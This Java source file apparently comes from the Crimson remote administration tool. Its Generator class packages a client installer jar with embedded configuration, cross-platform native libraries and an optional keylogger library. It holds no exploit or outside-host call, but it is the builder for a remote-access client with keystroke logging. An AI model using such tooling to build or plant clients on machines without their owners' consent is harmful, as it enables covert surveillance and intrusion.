/****************************************************************************** * * * Copyright 2016 Subterranean Security * * * * Licensed under the Apache License, Version 2.0 (the "License"); * * you may not use this file except in compliance with the License. * * You may obtain a copy of the License at * * * * http://www.apache.org/licenses/LICENSE-2.0 * * * * Unless required by applicable law or agreed to in writing, software * * distributed under the License is distributed on an "AS IS" BASIS, * * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * * See the License for the specific language governing permissions and * * limitations under the License. * * * *****************************************************************************/ package com.subterranean_security.crimson.server; import java.io.File; import java.io.IOException; import java.io.PrintWriter; import java.util.Date; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.zeroturnaround.zip.ZipUtil; import com.subterranean_security.crimson.core.Common; import com.subterranean_security.crimson.core.proto.Generator.ClientConfig; import com.subterranean_security.crimson.core.proto.Generator.GenReport; import com.subterranean_security.crimson.core.proto.Misc.AuthType; import com.subterranean_security.crimson.core.storage.BasicDatabase; import com.subterranean_security.crimson.core.util.B64Util; import com.subterranean_security.crimson.core.util.FileUtil; import com.subterranean_security.crimson.core.util.TempUtil; import com.subterranean_security.crimson.server.store.Authentication; import com.subterranean_security.crimson.universal.Universal; import com.subterranean_security.crimson.universal.util.JarUtil; public class Generator { private static final Logger log = LoggerFactory.getLogger(Generator.class); private File temp = TempUtil.getDir(); private GenReport.Builder report = GenReport.newBuilder(); public GenReport getReport() { return report.build(); } public Generator() { } public void generate(ClientConfig config) throws Exception { generate(config, 0); } public void generate(ClientConfig config, int cvid) throws Exception { String output = config.getOutputType().toLowerCase(); if (output.endsWith("(.jar)")) { report = genJar(config, cvid).setOutputType("Runnable Java Archive"); } else if (output.endsWith("(.exe)")) { } else if (output.endsWith("(.sh)")) { } else { } System.gc(); } public byte[] getResult() throws IOException { byte[] result = FileUtil.readFile(new File(temp.getAbsolutePath() + "/installer.jar")); FileUtil.delete(temp); return result; } private GenReport.Builder genJar(ClientConfig ic, int cvid) throws IOException { GenReport.Builder gReport = GenReport.newBuilder(); Date start = new Date(); gReport.setGenDate(start.getTime()); File clientJar = new File(temp.getAbsolutePath() + "/installer.jar"); File clientDB = new File(temp.getAbsolutePath() + "/client.db"); File internal = new File(temp.getAbsolutePath() + "/internal.txt"); // create a database for the client try { BasicDatabase database = new BasicDatabase("", clientDB); database.initSql(); database.resetClient(); database.store("cvid", cvid); database.store("ic", new String(B64Util.encode(ic.toByteArray()))); if (ic.getAuthType() == AuthType.GROUP) { database.store("auth.group", Authentication.getGroup(ic.getGroupName())); } database.close(); } catch (Exception e) { e.printStackTrace(); gReport.setComment("Failed to create client database: " + e.getMessage()); gReport.setResult(false); return gReport; } // copy the client jar out JarUtil.extract("com/subterranean_security/crimson/server/res/bin/client.jar", clientJar.getAbsolutePath()); // add client database to jar ZipUtil.addEntry(clientJar, "com/subterranean_security/crimson/client/res/bin/client.db", clientDB); // add libraries to jar File tmpZip = new File(temp.getAbsolutePath() + "/clib.zip"); tmpZip.mkdir(); new File(tmpZip.getAbsolutePath() + "/java").mkdirs(); // add jar files for (String lib : Universal.getInstancePrerequisites(Universal.Instance.CLIENT)) { if (lib.equals("c19") && !ic.getKeylogger()) { continue; } FileUtil.copy(new File(Common.Directories.base.getAbsolutePath() + "/lib/java/" + lib + ".jar"), new File(tmpZip.getAbsolutePath() + "/java/" + lib + ".jar")); } // selectively add native libraries if (ic.hasPathWin()) { File jniOut = new File(tmpZip.getAbsolutePath() + "/jni/win"); jniOut.mkdirs(); for (File f : new File(Common.Directories.base.getAbsolutePath() + "/lib/jni/win").listFiles()) { FileUtil.copy(f, new File(jniOut.getAbsolutePath() + "/" + f.getName())); } } if (ic.hasPathLin()) { File jniOut = new File(tmpZip.getAbsolutePath() + "/jni/lin"); jniOut.mkdirs(); for (File f : new File(Common.Directories.base.getAbsolutePath() + "/lib/jni/lin").listFiles()) { FileUtil.copy(f, new File(jniOut.getAbsolutePath() + "/" + f.getName())); } } if (ic.hasPathOsx()) { File jniOut = new File(tmpZip.getAbsolutePath() + "/jni/osx"); jniOut.mkdirs(); for (File f : new File(Common.Directories.base.getAbsolutePath() + "/lib/jni/osx").listFiles()) { FileUtil.copy(f, new File(jniOut.getAbsolutePath() + "/" + f.getName())); } } if (ic.hasPathSol()) { File jniOut = new File(tmpZip.getAbsolutePath() + "/jni/sol"); jniOut.mkdirs(); for (File f : new File(Common.Directories.base.getAbsolutePath() + "/lib/jni/sol").listFiles()) { FileUtil.copy(f, new File(jniOut.getAbsolutePath() + "/" + f.getName())); } } if (ic.hasPathBsd()) { File jniOut = new File(tmpZip.getAbsolutePath() + "/jni/bsd"); jniOut.mkdirs(); for (File f : new File(Common.Directories.base.getAbsolutePath() + "/lib/jni/bsd").listFiles()) { FileUtil.copy(f, new File(jniOut.getAbsolutePath() + "/" + f.getName())); } } ZipUtil.unexplode(tmpZip); ZipUtil.addEntry(clientJar, "com/subterranean_security/crimson/client/res/bin/lib.zip", tmpZip); // create and add the internal.txt internal.createNewFile(); PrintWriter pw = new PrintWriter(internal); pw.println(B64Util.encode(ic.toByteArray())); pw.close(); ZipUtil.addEntry(clientJar, "com/subterranean_security/crimson/client/internal.txt", internal); // delete jars // CUtil.Files.delete(clientJar); gReport.setHashMd5(FileUtil.getHash(clientJar.getAbsolutePath(), "MD5")); gReport.setHashSha256(FileUtil.getHash(clientJar.getAbsolutePath(), "SHA-256")); gReport.setFileSize((int) clientJar.length()); gReport.setResult(true); gReport.setGenTime((int) (new Date().getTime() - start.getTime())); log.info("Generated jar in {} ms", gReport.getGenTime()); return gReport; } }